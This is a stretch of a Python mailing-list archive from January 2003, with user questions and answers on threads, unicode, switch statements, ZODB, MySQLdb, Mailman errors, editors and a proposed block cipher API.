References: <b0r1ds$10s0fi$1@hades.rz.uni-sb.de> <mailman.1043410542.25830.python-list@python.org> <b0rhl7$112v7d$2@hades.rz.uni-sb.de> <b0rkdb$g9l$01$1@news.t-online.com> <3e3158fb$0$49108$e4fe514c@news.xs4all.nl>
Message-ID: <b0rmh4$bn5$02$1@news.t-online.com>

Irmen de Jong wrote:
> Can't you cheat on linux by sending SIGKILL to the thread's PID?? ;-)

Only in the current implementation. In NGPTL (next generation's posix 
threads), all threads will have the same PID, but different tids.

Likewise, on Windows, you can probably use some Win32 API, if that is 
exposed through PythonWin.

Regards,
Martin




From arosado at softhome.net  Thu Jan  2 20:34:04 2003
From: arosado at softhome.net (Andres Rosado)
Date: Thu, 02 Jan 2003 21:34:04 -0400
Subject: Explicit Frustration of the Self
Message-ID: <5.1.0.14.0.20030102213348.00bb5f38@mail.softhome.net>

On 02:05 AM 12/31/2002 -0500, the keyboard of 
python-list-request at python.org emitted:
>This is an old topic, discussed many times, I'm sorry.  But I just
>want to get one thing out there, and then you can all ignore me.
>
>What of elegance?
>
>class Life:
>         property = "value"
>def Meaning(self, argument):
>                 return self.property
>
>This whole business with the self; it is not elegant.  And, it is of
>my opinion that it is, therefore, not good programming.  So I'm angry,
>because most of Python is so easy, so elegant, and this ain't.  Now,
>I'm not trying to stand in the way of people's readability or
>anything.  I'm not even saying it must be changed.  No, there are too
>many ego's wrapped up in that aspect of the self.  I'm just saying
>that I'm really damned frustrated.
>
>The explicit self is the character flaw of Python.

Have you programmed in C++? One of the main problems I find in C++ is the 
implicit *this. Sure, it looks more compact and more cleaner, but as 
projects get more complicated, you end up using this a lot more than you 
thought. Handling more than on object of the same class inside the class 
will give you a reasonable idea of the problem.


--
Andres Rosado
Email: andresr at despammed.com
ICQ: 66750646
Homepage: http://andres980.tripod.com/

I am sorry to write you such a long letter.  I don't have time to
write a short one.
         -- Oscar Wilde





From lac at strakt.com  Thu Jan 30 01:24:33 2003
From: lac at strakt.com (Laura Creighton)
Date: Thu, 30 Jan 2003 07:24:33 +0100
Subject: Tab characters considered harmful (Was: Emacs has eaten my python tabs!!!) 
In-Reply-To: Message from "Mark McEahern" <marklists@mceahern.com> 
   of "Wed, 29 Jan 2003 16:17:57 CST." <JHEOKEOOLIGLDHCMAHMOGEGFFPAA.marklists@mceahern.com> 
References: <JHEOKEOOLIGLDHCMAHMOGEGFFPAA.marklists@mceahern.com> 
Message-ID: <200301300624.h0U6OXjL030914@ratthing-b246.strakt.com>

> [Laura Creighton [mailto:lac at strakt.com]]
> > Or perhaps it won't be.   read http://www.python.org/peps/pep-0666.html
> 
> That remains my favorite PEP.  And I don't even know what the hell treacle
> is!
> 
> Cheers,
> 
> // m
> 
> -

treacle: Molasses in Syrup.  I think it is called 'Golden Syrup' in parts
         of the USA.  Attracts flies.




From dkt at registriesltd.com.au  Wed Jan 15 22:30:57 2003
From: dkt at registriesltd.com.au (David K. Trudgett)
Date: Thu, 16 Jan 2003 14:30:57 +1100
Subject: FW: Switch statements again
In-Reply-To: <1042672900.3e25ed04a5f1a@www.progoth.com>; from bodoni26@resnet.gatech.edu on Wed, Jan 15, 2003 at 06:21:40PM -0500
References: <E4AA6173DD435B45956B8E5F685B49452702F3@hyperspace.synchrologic.com> <1042672900.3e25ed04a5f1a@www.progoth.com>
Message-ID: <20030116143057.B1683@regdp-02.intint.registriesltd.com.au>

On Wednesday 2003-01-15 at 18:21:40 -0500, Steven Scott wrote:
> Quoting Steven Scott <Steven.Scott at Synchrologic.com>:
> > 
> > If/elif/else remains the most common method.  If Python ever gains
> > something
> > like a switch statement you can bet the farm it won't have a "fall thru"
> > feature though, so the way you've coded your C switch statement wouldn't
> > work.
> > 
> 
> but the absolute /only/ reason you'd use a switch over an if (besides
> looking better) is fall through.

Pascal has no fall though on its case statement, but presumably Wirth
thought it was still worth it. A hundred elifs in a row is just plain
ugly, anyway. Python should get a case/switch statement, just as Perl
6 is going to get one. Leaving it out of both languages to begin with
was misguided. (At least Perl has always had better ways around the
problem than Python.)

David Trudgett






From zenguyuno at yahoo.com  Fri Jan 24 18:06:36 2003
From: zenguyuno at yahoo.com (zenguyuno at yahoo.com)
Date: Fri, 24 Jan 2003 23:06:36 GMT
Subject: Advice Needed re: MS-DOS/Win 98 as Python environment
Message-ID: <3E31C787.FBAE9794@lvcm.com>

I generally run my python programs from a DOS window under Win 98.  Is
there a better way?  (yeah, I know, use linux, but I feel I'm too old to
relearn so much)

When I open MS-DOS the initial directory is Windows.  I can't figure out
how to make this come up as Python22.  I know about autoexec.bat, I used
to use it a lot, but I don't know where MS-DOS under Win 98 looks for
the autoexec batch file to execute.  Can anyone please tell me?

Thanks,

z

-- 
"When one enters an unplowed field he is sure to leave furrows, even if
his plow is not of the sharpest." - Timin



From martin at v.loewis.de  Tue Jan  7 15:23:25 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 07 Jan 2003 21:23:25 +0100
Subject: newbie: unicode
References: <avdv6k$clp$1@news.online.de> <DPvS9.4982$LY2.288377@newsc.telia.net> <m38yxxnt20.fsf@mira.informatik.hu-berlin.de> <tTFS9.4812$FF4.290296@newsb.telia.net>
Message-ID: <m3y95wwvya.fsf@mira.informatik.hu-berlin.de>

"Fredrik Lundh" <fredrik at pythonware.com> writes:

> > > there's no way that piece of code can give that error message,
> > > as long as ">>>" is an ordinary Python 2.x interpreter prompt, and
> > > you haven't been hacking around in the site configuration files...
> >
> > You get that error in IDLE.
> 
> does IDLE's prompt really qualify as "an ordinary interpreter prompt"
> if it doesn't behave properly?

No. It is actually that the tutorial is in error here. You cannot put
non-ASCII characters into Unicode literals in interactive mode, and
still expect correct interpretation of your code (in the sense that
the Unicode literal contains the characters you have typed).

Regards,
Martin



From mark.charsley at REMOVE_THIS.radioscape.com  Thu Jan 30 13:11:00 2003
From: mark.charsley at REMOVE_THIS.radioscape.com (Mark Charsley)
Date: Thu, 30 Jan 2003 18:11 +0000 (GMT Standard Time)
Subject: Help a C++ coder see the light
Message-ID: <memo.20030130181135.820C@a.radioscape.com>

I've been coding C++ for years now and Python for a few months. 
Incidentally, I'd say that Python's greatest strength is that it took me 
about two months to become as competent at Python as I was after two years 
of C++.

However, what's nice flexibility in a small Python project (we're using 
python to script a callback interface, and its very easy to support 
arbitrary functions taking arbitrary arguments) would give me the 
screaming heebie-jeebies in a larger project.

I'm used to the compiler/linker giving me a lot of reassurance that my 
code works. Python removes that reassurance and just leaves it to runtime 
errors.

The most annoying is typos along the lines of:

if myVar < 0:
    myVal = -myVar
CalculateSquareRoot(myVar)

which I believe PyChecker (and probably other tools) can catch.

The more nasty problem is changing a function to have, say, an extra 
argument. In C++ I'd just run the code through the compiler and it would 
tell me all the places where the code needs updating. In python I'd have 
to trust grep (and follow up all the cases where the function was assigned 
a new name, passed to a callback interface etc. and/or where the arguments 
are built somewhere else and just passed in via "apply").

As far as I can tell, the only way to have the same confidence in ones 
code as you'd get with C++ (albeit using code that might take you a lot 
longer to write), is to have unit tests that exercise absolute 100% code 
coverage. Which is dauntingly difficult to create even in a more static 
language like C++.

However there are large programs out there written in python, so it 
obviously can be done. So are folks here just preternaturally good 
programmers that don't need the safety net of a compiler/linker? Are there 
some handy python code-coverage tools of which I am unaware? Or do they 
just trust to lots of testing and fixing run-time errors as and when they 
occur (which, I grant you, also happens in the C++ world with errors 
beyond the powers of cl.exe to catch)?

-- 

Mark



From arnau at exelweiss.com  Fri Jan 10 12:10:21 2003
From: arnau at exelweiss.com (=?ISO-8859-15?Q?Arnau_Rossell=F3_Castell=F3?=)
Date: Fri, 10 Jan 2003 17:10:21 GMT
Subject: Problems installing decompyler from source on windows
Message-ID: <18DT9.575$md.35818@news.ono.com>

I've downloaded the sources from 
http://www.crazy-compilers.com/decompyle/index.html#decompyle
and i've tried to build them:
My python version is 2.2.1 and i'm using MSVC7(.net)
Any help would be greatly appreciated, here is the output i got:

C:\Documents and Settings\Arnau\Escritorio\decompyle-2.2beta1>python 
setup.py install
running install
running build
running build_py
not copying decompyle\dis_15.py (output up-to-date)
not copying decompyle\dis_16.py (output up-to-date)
not copying decompyle\dis_20.py (output up-to-date)
not copying decompyle\dis_21.py (output up-to-date)
not copying decompyle\dis_22.py (output up-to-date)
not copying decompyle\dis_files.py (output up-to-date)
not copying decompyle\magics.py (output up-to-date)
not copying decompyle\marshal_files.py (output up-to-date)
not copying decompyle\Parser.py (output up-to-date)
not copying decompyle\Scanner.py (output up-to-date)
not copying decompyle\spark.py (output up-to-date)
not copying decompyle\verify.py (output up-to-date)
not copying decompyle\Walker.py (output up-to-date)
not copying decompyle\__init__.py (output up-to-date)
running build_ext
building 'decompyle/marshal_20' extension
creating build\temp.win32-2.2
creating build\temp.win32-2.2\Release
C:\Archivos de programa\Microsoft Visual Studio .NET\VC7\BIN\cl.exe /c 
/nologo /
Ox /MD /W3 /GX -DMARSHAL_VERSION=20 -Ic:\Python22\include 
/Tcdecompyle/marshal_2
2_for_20.c /Fobuild\temp.win32-2.2\Release\marshal_22_for_20.obj
marshal_22_for_20.c
decompyle\marshal_22_for_20.c(271) : warning C4273: 
'PyMarshal_WriteLongToFile'
: inconsistent dll linkage
decompyle\marshal_22_for_20.c(281) : warning C4273: 
'PyMarshal_WriteObjectToFile
' : inconsistent dll linkage
decompyle\marshal_22_for_20.c(642) : warning C4273: 
'PyMarshal_ReadShortFromFile
' : inconsistent dll linkage
decompyle\marshal_22_for_20.c(650) : warning C4273: 
'PyMarshal_ReadLongFromFile'
  : inconsistent dll linkage
decompyle\marshal_22_for_20.c(677) : warning C4273: 
'PyMarshal_ReadLastObjectFro
mFile' : inconsistent dll linkage
decompyle\marshal_22_for_20.c(721) : warning C4273: 
'PyMarshal_ReadObjectFromFil
e' : inconsistent dll linkage
decompyle\marshal_22_for_20.c(733) : warning C4273: 
'PyMarshal_ReadObjectFromStr
ing' : inconsistent dll linkage
decompyle\marshal_22_for_20.c(748) : warning C4273: 
'PyMarshal_WriteObjectToStri
ng' : inconsistent dll linkage
decompyle\marshal_22_for_20.c(873) : warning C4067: unexpected tokens 
following
preprocessor directive - expected a newline
C:\Archivos de programa\Microsoft Visual Studio .NET\VC7\BIN\link.exe 
/DLL /nolo
go /INCREMENTAL:NO /LIBPATH:c:\Python22\libs 
/EXPORT:initdecompyle/marshal_20 bu
ild\temp.win32-2.2\Release\marshal_22_for_20.obj 
/OUT:build\lib.win32-2.2\decomp
yle/marshal_20.pyd /IMPLIB:build\temp.win32-2.2\Release\marshal_20.lib
marshal_22_for_20.obj : error LNK2001: unresolved external symbol 
initdecompyle/
marshal_20
build\temp.win32-2.2\Release\marshal_20.lib : fatal error LNK1120: 1 
unresolved
externals
LINK : fatal error LNK1141: failure during build of exports file
error: command '"C:\Archivos de programa\Microsoft Visual Studio 
.NET\VC7\BIN\li
nk.exe"' failed with exit status 1141

C:\Documents and Settings\Arnau\Escritorio\decompyle-2.2beta1>




From dagurp at heimsnet.is  Sat Jan 11 18:11:12 2003
From: dagurp at heimsnet.is (=?ISO-8859-1?Q?Dagur_P=E1ll_Ammendrup?=)
Date: Sat, 11 Jan 2003 23:11:12 +0000
Subject: possible ftplib bug
Message-ID: <avq8ar$k87$1@mikill.isnet.is>

Hi!

When I connect to my site using FTP('my site') it works but when I do 
FTP('my site',21)  or FTP('my site','21') it doesn't. Is this a bug in 
ftplib?

I'm using ActivePython 2.2.1 Build 222 on windows XP.


Thanks!
-Dagur




From hwlgw at hotmail.com  Sat Jan 18 10:48:29 2003
From: hwlgw at hotmail.com (Will Stuyvesant)
Date: 18 Jan 2003 07:48:29 -0800
Subject: Install Python in C:\usr\bin
References: <cb035744.0301151013.4f5c0327@posting.google.com>
Message-ID: <cb035744.0301180748.3e2058d6@posting.google.com>

Installing python version 1.5.2 in C:\usr\bin works, but damages your
newer Tcl installation if you have python 2.2+ already installed in
the normal C:\Python22.  Even if you unmark the checkbox saying
"install Tcl" during installation.  I installed python 1.5.2 in
C:\usr\bin as desribed in the OP to simulate my ISP's python version
at home for testing CGI scripts.


'''
Confess your sins to the Lord and you will be forgiven;
confess them to man and you will be laughed at.
                -- Josh Billings
'''



From jochen.heckl at novatrix.de  Mon Jan 20 12:00:00 2003
From: jochen.heckl at novatrix.de (jochen)
Date: 20 Jan 2003 09:00:00 -0800
Subject: passig lifetime control to C++
Message-ID: <8de825c2.0301200859.4b89cee3@posting.google.com>

I have class EventQueue that takes control over the lifetime of Events
that are passed to it. Now I wan't to export this functionality to
python using boost_python.

this is C++:

EventQueue   EQ;

// don't care for the Event -
// the Queue will delete it on time.
EQ->PostEvent( new Event() )



Now, if I export the method 

int EventQueue::PostEvent( Event* i_pEvent )

to python, how do I keep Python from deleting the Event after the
script has finished? Can this be done with call policies ?



From urfaust at optushome.com.au  Sat Jan  4 11:27:07 2003
From: urfaust at optushome.com.au (faust)
Date: Sat, 04 Jan 2003 08:27:07 -0800
Subject: Best Python editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <025d32cf-da98-4afa-ab9f-2f3f978a9c38@news.szn.dk> <6lea1vop870pak8iuohinerilg304sd493@4ax.com> <slrnb19vmq.h00.grey@teleute.dmiyu.org>
Message-ID: <bo2e1vca9ifencm6flhrr32cm1vdogml8t@4ax.com>

 Steve Lamb <grey at despair.dmiyu.org> ,  emitted these fragments:

>  I never quite understood what a mail and news reader had to do with
>editing files yet every time the "best mail|news reader for unix" comes up
>gnus is top of the list. 

Simply because somewone was crazy enough to implement the most
powerful mail/news reader in the world as a Elisp subsystem to Emacs.

But, it IS the most powerful reader...


--------------------------------------------------------
Come see,
real flowers
of this pain-filled world.

(from Basho)



From ajs at ix.netcom.com  Tue Jan 21 20:33:28 2003
From: ajs at ix.netcom.com (Arthur)
Date: Tue, 21 Jan 2003 20:33:28 -0500
Subject: license
Message-ID: <001d01c2c1b6$44c5fd70$eb4bf6d1@Arts>

>I didn't understand that. I thought it might be some kind of digital joke,
>that I didn't grok, so I thought maybe I should be discreet and not say
>anything about discrete and discreet being semantically discrete ;-)

Let's just say if I could spell I'd be dangerous.

Or lets just say that if I could spell and knew how to be dangerous, I'd be
dangerous.

Or else maybe let's just say that my last idea about shutting up, was a good
one.

Art






From u2_sonu at yahoo.co.in  Wed Jan 15 07:22:21 2003
From: u2_sonu at yahoo.co.in (sonu)
Date: 15 Jan 2003 04:22:21 -0800
Subject: Using list_dbs() and list_tables function of MySQLDB with python
Message-ID: <12fcb4be.0301150422.336d00a4@posting.google.com>

dear friends,

i m using list_dbs() and list_tables() function in my application but
finding a problem in running this code successfully.

The code i m using is:
# !/usr/bin/Python
import MySQLdb
hostname = "192.168.0.11"	
username = "root"
password = ""
database = "test"
conn = MySQLdb.connect (hostname, username, password, database)
for db in conn.list_dbs():
    for tbl in conn.list_tables(db[0]):
        cursor = conn.cursor();
        cursor.execute("SELECT * FROM " + tbl[0]);
        print cursor.fetchone();
        cursor.close();

conn.close();  

i m getting the error:
Traceback (most recent call last):
  File "E:\Python22\Lib\site-packages\Pythonwin\pywin\framework\scriptutils.py",
line 301, in RunScript
    exec codeObject in __main__.__dict__
  File "C:\My Documents\myscript.py", line 8, in ?
    for db in conn.list_dbs():
AttributeError: Connection instance has no attribute 'list_dbs'

Please help me in solving the problem.
i will be really thankful to you
sonu



From james.kew at btinternet.com  Sat Jan  4 07:38:12 2003
From: james.kew at btinternet.com (James Kew)
Date: Sat, 4 Jan 2003 12:38:12 -0000
Subject: OT: PSP, XP, TDD and other methodologies for solitary programmers
References: <3e145e67_1@goliath.newsgroups.com> <3E1467EE.93860EC4@engcorp.com> <mailman.1041527081.32120.python-list@python.org> <3E15E739.95B69415@engcorp.com>
Message-ID: <av6kjm$cioo1$1@ID-71831.news.dfncis.de>

"Peter Hansen" <peter at engcorp.com> wrote in message
news:3E15E739.95B69415 at engcorp.com...
>
> I would suggest checking out the basic "bug tracker" or similar
> tools that are available, pick a clean one, butcher it into something
> even simpler than what is provided, and work with that.  Almost any
> decent and *simple* bug tracker should be quite adequate for the purpose.

+1

I've found Roundup (http://roundup.sourceforge.net) excellent for issue
tracking on small-team projects: it's simple and flexible enough that it
doesn't get in the way, usable enough that developers take to it easily,
powerful enough that it's almost entirely replaced the impossible-to-track
email ping-pong we were doing before, and it's all Python plus Zope-like
HTML templaties so it's eminently customisable and hackable.

James





From cnetzer at mail.arc.nasa.gov  Wed Jan 29 04:13:25 2003
From: cnetzer at mail.arc.nasa.gov (Chad Netzer)
Date: Wed, 29 Jan 2003 01:13:25 -0800
Subject: New Python block cipher API, comments wanted
In-Reply-To: <7xu1fsbj6b.fsf@ruckus.brouhaha.com>
References: <7x3cneku24.fsf_-_@ruckus.brouhaha.com> <mailman.1043816392.20156.python-list@python.org> <7xu1fsbj6b.fsf@ruckus.brouhaha.com>
Message-ID: <200301290913.BAA11259@mail.arc.nasa.gov>

On Tuesday 28 January 2003 21:48, Paul Rubin wrote:
> mertz at gnosis.cx (David Mertz, Ph.D.) writes:
> > The rotor module existed before the PEP process did.  If someone
> > wanted to introduce rotor today as a new addition, I would strongly
> > advocate that it not be added without a prior PEP.
>
> OK, look at all the other library modules introduced more recently,
> and tell me how many have PEP's.  The answer is not many.

The reason for that is that most modules get developed to fulfill some 
need.  Then they get used more and more by people who also need it.  
The code gets worked on and maintained for a while, sometimes a long 
while.  Eventually, the core developers see that it is useful, and 
either include it in the distro (if it has shown to be well maintained, 
and has good tests, and the interface is deemed elegant or pythonic), 
or take the ideas and make a new but related module that they think 
fits the bill.  So rarely is it "PEP first, module later".  Usually it 
is "module first, lots of use and testing, okay we'll bless it."

I know of no new modules in recent history, proposed outside of the 
core developers group, where someone says, "I'm developing this module, 
here is some rough code, there are no conformance tests yet, I plan to 
reimplement core parts of it in C, and I'm gonna do it all in a few 
weeks because I want it to be a new module in the next alpha release."  

I realize your intentions are good, and I think the code and ideas show 
promise, and as I said before, your enthusiasm is helping to get people 
interested in your work.  But the way you floated the idea, at least in 
this newsgroup, comes off as VERY presumptuous.  Frankly, that is all 
well and good, but when you talk about modules dealing with security 
and cryptography, there are many people who appreciate a MUCH more 
conservative attitude for adoption; they don't want to use security 
related code written by a hotshot in a few weeks.  They want testing, 
testing, TESTING, and more testing.  Then they want to make sure they 
don't get boxed in and have to change later (they want it to work now 
and forever, with as few changes as possible.)

So, while I support your goals, and plan to look into using the code a 
bit, I think it is no surprise that you are getting some challenging 
responses about your time table.  It is just the natural way of things, 
given the presentation of the ideas, and your ambitions.

-- 
Bay Area Python Interest Group - http://www.baypiggies.net/

Chad Netzer
(any opinion expressed is my own and not NASA's or my employer's)




From kirk at strauser.com  Thu Jan  9 20:50:05 2003
From: kirk at strauser.com (Kirk Strauser)
Date: Fri, 10 Jan 2003 01:50:05 GMT
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <v1ofnamn6ai771@corp.supernews.com>
 <3e1ca11b_4@nopics.sjc> <mailman.1042065497.31296.python-list@python.org>
 <slrnb1r6t4.e5b.charles@skinner.pentek.org>
 <mailman.1042150212.26853.python-list@python.org>
Message-ID: <87fzs122pg.fsf@pooh.honeypot.net>

At 2003-01-09T19:40:13Z, Lulu of the Lotus-Eaters <mertz at gnosis.cx> writes:

> I agree with Krug that there is little reason for an undergraduate to
> worry too much about the exact specializations of her professors.  In any
> case, more classroom contact will be with TAs than actual profs.

That's really not always true.  At my college (csc.smsu.edu), there were no
TAs.  All classes were taught by faculty, including the department head (who
was consistently ranked as one of the most popular teachers).  I had TAs for
a few of my general ed. classes, but all of my major and minor courses were
led by professors or teachers.
-- 
Kirk Strauser



From max at alcyone.com  Sun Jan  5 19:04:52 2003
From: max at alcyone.com (Erik Max Francis)
Date: Sun, 05 Jan 2003 16:04:52 -0800
Subject: CGI - client information
References: <cf0ad9fb.0301050153.6852da96@posting.google.com> <cb035744.0301051148.737b30eb@posting.google.com>
Message-ID: <3E18C824.F3F85D27@alcyone.com>

Will Stuyvesant wrote:

> Alas REMOTE_USER and REMOTE_IDENT usually are not available, I would
> love to have them but I have no idea how to get those.

REMOTE_USER is present if your server is configured to perform HTTP
authentication (and the authentication succeeds).  REMOTE_IDENT is
present if the server is configured to respond to all HTTP requests with
identd lookups, which almost no servers are.

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ I'm spreading my wings and I fly / I'm still as the night
\__/ Chante Moore
    Bosskey.net: Return to Wolfenstein / http://www.bosskey.net/rtcw/
 A personal guide to Return to Castle Wolfenstein.



From shalehperry at attbi.com  Thu Jan 23 20:17:17 2003
From: shalehperry at attbi.com (Sean 'Shaleh' Perry)
Date: Thu, 23 Jan 2003 17:17:17 -0800
Subject: People have started mailing me ms-word docs (groan).
In-Reply-To: <200301240034.h0O0YjL8024796@ratthing-b246.strakt.com>
References: <200301240034.h0O0YjL8024796@ratthing-b246.strakt.com>
Message-ID: <200301231717.17499.shalehperry@attbi.com>

On Thursday 23 January 2003 16:34, Laura Creighton wrote:
> Saving the attatchment and then opening them with OpenOffice is getting
> tedious.  Has anybody written a python program that runs under linux
> and converts ms-word MIME attatchments to something readable?
>
> Laura Creighton

there is a program called anti-word which will convert .docs to plain text.  
Usually looks good but does not handle inline items well.




From gfu at public.nn.gx.cn  Sun Jan 26 20:59:17 2003
From: gfu at public.nn.gx.cn (gfu)
Date: Mon, 27 Jan 2003 9:59:17 +0800
Subject: how to use unicode?
Message-ID: <200301270200.AGQ23326@md3.gx163.net>

hello:
	how to use unicode to show chinese? 
	run python.exe in w2k,Python 2.2.2:
	>>> u'??'
	 u'\xcb\xc6\xcd\xf8\xd2\xb3'

	run IDLE in w2k,Python 2.2.2:
	>>> '??'
	UnicodeError: ASCII encoding error: ordinal not in range(128)
	
	the "??" is a chinese.






From tim_one at email.msn.com  Tue Jan 21 21:18:47 2003
From: tim_one at email.msn.com (Tim Peters)
Date: Tue, 21 Jan 2003 21:18:47 -0500
Subject: Outlook Express and COM
In-Reply-To: <2ulX9.83789$Yo4.4666988@news1.calgary.shaw.ca>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEIMDJAB.tim_one@email.msn.com>

[John E. Barham]
> I'm developing a server-side Bayesian spam-filtering system and would
> like to pre-train the filter using my potential users' existing
> mailboxes, many of whom will be using Outlook Express (i.e., switching
> to a Unix MUA is not an option...).  I'd like to scan through their
> address books to build a white-list and through their emails to build a
> dictionary of "ham" tokens.  Does OE provide COM interfaces to do this?

AFAIK, OE has no programming interface at all, neither COM nor anything else
(unlike big brother Outlook, which has several programming interfaces --
some of which even appear to work, sometimes <0.9 wink>).

> It would be especially nice if it provided a pre-parsed interface to
> emails so that I could avoid parsing raw RFC 822 messages or messing w/
> DBX mailboxes.

Python's email package parses raw 822 quite nicely.  Extracting them from
DBX files is said to be easy, although I haven't tried that myself (google).

> Apologies as this is somewhat off-topic, but if there does exist an OE
> COM interface I could develop a prototype in Python w/ the Win32
> extensions and the final app in C++.

I doubt you'd need to bother with C++.  The spambayes project (on
SourceForge) is written in pure Python, and last I timed it scored about 80
messages/second wall-clock time.  This includes file I/O, the time for the
email pkg to parse the raw text, and the time to do elaborate tokenization
and scoring.





From zopestoller at thomas-guettler.de  Wed Jan  8 10:49:39 2003
From: zopestoller at thomas-guettler.de (Thomas Guettler)
Date: Wed, 08 Jan 2003 16:49:39 +0100
Subject: Using python modules in Zope
References: <FcJS9.12028$oS1.52010@news-server.bigpond.net.au>
Message-ID: <avhh5p$rol$00$1@news.t-online.com>

Pete schrieb:
> Hello,
> 
> I need to use xml.dom.minidom in a Zope python script but havent been able
> to do so
> due to Zope security on only allowing the base python.
> 
> I can do it using an External Method but then I lose all the security of
> Zope.

You only loose the security inside your external method.
Since you write this method it shouldn't be a problem.

Or you can write your own python product. This is the way
I do it in OOPServer (http://guettli.sf.net)

  thomas




From jeremy at alum.mit.edu  Thu Jan  9 12:06:41 2003
From: jeremy at alum.mit.edu (Jeremy Hylton)
Date: 9 Jan 2003 09:06:41 -0800
Subject: ZODB: don't like self._p_changed
References: <avjfop$tmb$00$1@news.t-online.com> <3E1D4756.7040406@mxm.dk> <avjj10$oe7$03$1@news.t-online.com>
Message-ID: <b0f083db.0301090906.39ee1a05@posting.google.com>

Thomas Guettler <zopestoller at thomas-guettler.de> wrote in message news:<avjj10$oe7$03$1 at news.t-online.com>...
> Max M schrieb:
> > Thomas Guettler wrote:
> > 
> >> Hi!
> >>
> >> I like ZODB very much. With it I don't need to
> >> squeeze my application into database tables.
> >>
> >> Unfortunately you need to set self._p_changed=1
> >> if you change a list of the object.
> >>
> >> Example:
> >> self.my_list.append("foo")
> >> self._p_changed=1 # This is needed
> 
> [cut]
> 
> >> Will this disappear in the future?
> > 
> > Probably not. How should an object know if a mutable subobject has been 
> > changed?
> 
> The method "append" could set the flag.

What kind of object is my_list?  If you use PersistentList, it will
set the flag.  The _p_changed flag is only necessary when working with
mutable subobjects that are not themselves persistent objects.

Jeremy



From altis at semi-retired.com  Sun Jan 12 02:47:37 2003
From: altis at semi-retired.com (Kevin Altis)
Date: Sat, 11 Jan 2003 23:47:37 -0800
Subject: Python Coding/Documenting Style Question
References: <6ee58e07.0301111827.4072409a@posting.google.com>
Message-ID: <P39U9.73$Nc7.206599@news.uswest.net>

See PEP 8 for recommendations on comments...

http://www.python.org/peps/pep-0008.html

ka

"Lothar Scholz" <llothar at web.de> wrote in message
news:6ee58e07.0301111827.4072409a at posting.google.com...
> Is there any common coding style for commenting variables
> like the following:
>
> ====================================
>
> globalVar = 666  # here comes a comment from hell
>
> class foo:
> "This is the class comment"
>
> ClassVar = 10  # comment about this
>
> def __init__(self):
> self.objectVar = "foo"   # description of objectVar
>
>
> =====================================
>
> It seems quite common to add the comments on the same line but.
> But what should i do when i want to use longer comments and/or
> document the type of a variable.
>
> Is there any tool that can
> automatically generate documentation from such annotations ?





From markus_wankus at hotmail.com  Sat Jan 25 10:40:13 2003
From: markus_wankus at hotmail.com (Markus Wankus)
Date: Sat, 25 Jan 2003 10:40:13 -0500
Subject: IDLE Python GUI
In-Reply-To: <pan.2003.01.25.14.53.07.162637@yahoo.com>
References: <3e32a1a6_4@corp.newsgroups.com> <pan.2003.01.25.14.53.07.162637@yahoo.com>
Message-ID: <oprjka5bp68cxiwf@news1.on.sympatico.ca>

On Sat, 25 Jan 2003 15:53:07 +0100, Christopher Culver >
> Emacs. I imagine most people here would say the same.
>
> Christopher Culver

Of course they would...how are those mind control drugs anyway?

-- 
Markus



From deadair at swirvemail.com  Thu Jan 16 21:44:00 2003
From: deadair at swirvemail.com (deadair88)
Date: 16 Jan 2003 18:44:00 -0800
Subject: Can't get sqrt() func to work
Message-ID: <fda1f7e0.0301161844.5c236733@posting.google.com>

Ok...I'm certanly not the Python expert but I do use it for many small
tasks. I'm writing a small program for testing the primality of a
number and need to call the sqrt() function as defined in the C
standard or the python module math or cmath both of which should be
built in. When I call the func sqrt(x) I get an error that looks
something like this:

>>>Traceback (most recent call last):
>>>  File "<pyshell#1>", line 1, in ?
>>>    sqrt(25)
>>>NameError: name 'sqrt' is not defined

I've tried calling from IDLE and the command prompt both to avail.
I've tried running it from a module file with no luck. I've imported
both math and cmath and still I can't get that darn function to work.
What is the problem here?

Thanks
Jack D T



From mcooke at technology.serco.com  Wed Jan 22 03:57:10 2003
From: mcooke at technology.serco.com (Mark Cooke)
Date: Wed, 22 Jan 2003 08:57:10 -0000
Subject: Unable to find solution to error:   ValueError: math domain error
Message-ID: <2EBD1AB31CC64840B141FC732C9295ACBAD32F@EX-SRV1>

Hi,

Sorry for the vauge title, I wasn't really sure what to put, I'm currently
running:

MailMan: mailman-2.0.13-3
Python: python-2.2.1-17
(These are the RedHat 8.0 versions)

I have manged to get it working, but I'm getting several errors each night
in my cron job, from two modules, that are responsable for moving unsent
mail.

Before anyone says post to RedHat or MailMan, I have, I'm using this as a
last resort, I have so far spent all week looking through 80% of the mailman
arives and RedHat 8.0 list and also filling a bug report with RedHat, and
I'm now at my wits end.

can someone, maybe a developer please explain what could be causing the
error and
(in plain exnglish ;), what the error means),as I'm just starting the learn
python and I know someof the basics.

sorry to sound desperate, but It's driving me mad, as I'm using standard
RedHat stuff, without any modifications to the source (apart from their
patches).

Cron <mailman at eir> /usr/bin/python -S /var/mailman/cron/gate_news:
Traceback (most recent call last):
   File "/var/mailman/cron/gate_news", line 40, in ?
     from Mailman import MailList
   File "/var/mailman/Mailman/MailList.py", line 36, in ?
     from Mailman import Utils
   File "/var/mailman/Mailman/Utils.py", line 32, in ?
     import random
   File "/usr/lib/python2.2/random.py", line 91, in ?
     NV_MAGICCONST = 4 * _exp(-0.5)/_sqrt(2.0)
ValueError: math domain error

Cron <mailman at eir> /usr/bin/python -S /var/mailman/cron/qrunner:
Traceback (most recent call last):
   File "/var/mailman/cron/qrunner", line 84, in ?
     from Mailman import Utils
   File "/var/mailman/Mailman/Utils.py", line 32, in ?
     import random
   File "/usr/lib/python2.2/random.py", line 91, in ?
     NV_MAGICCONST = 4 * _exp(-0.5)/_sqrt(2.0)
ValueError: math domain error

Thanks in advance

Mark C








From EDB30 at msn.com  Wed Jan  8 17:07:27 2003
From: EDB30 at msn.com (Tupoi)
Date: Wed, 8 Jan 2003 17:07:27 -0500
Subject: best college for computer science major
References: <3e1ba232_6@nopics.sjc> <3E1BA510.85FBDD59@engcorp.com> <v1ofnamn6ai771@corp.supernews.com>
Message-ID: <3e1ca11b_4@nopics.sjc>

"Cameron Laird" <claird at lairds.com> wrote in message
news:v1ofnamn6ai771 at corp.supernews.com...
> In article <3E1BA510.85FBDD59 at engcorp.com>,
> Peter Hansen  <peter at engcorp.com> wrote:
> >Tupoi wrote:
> >>
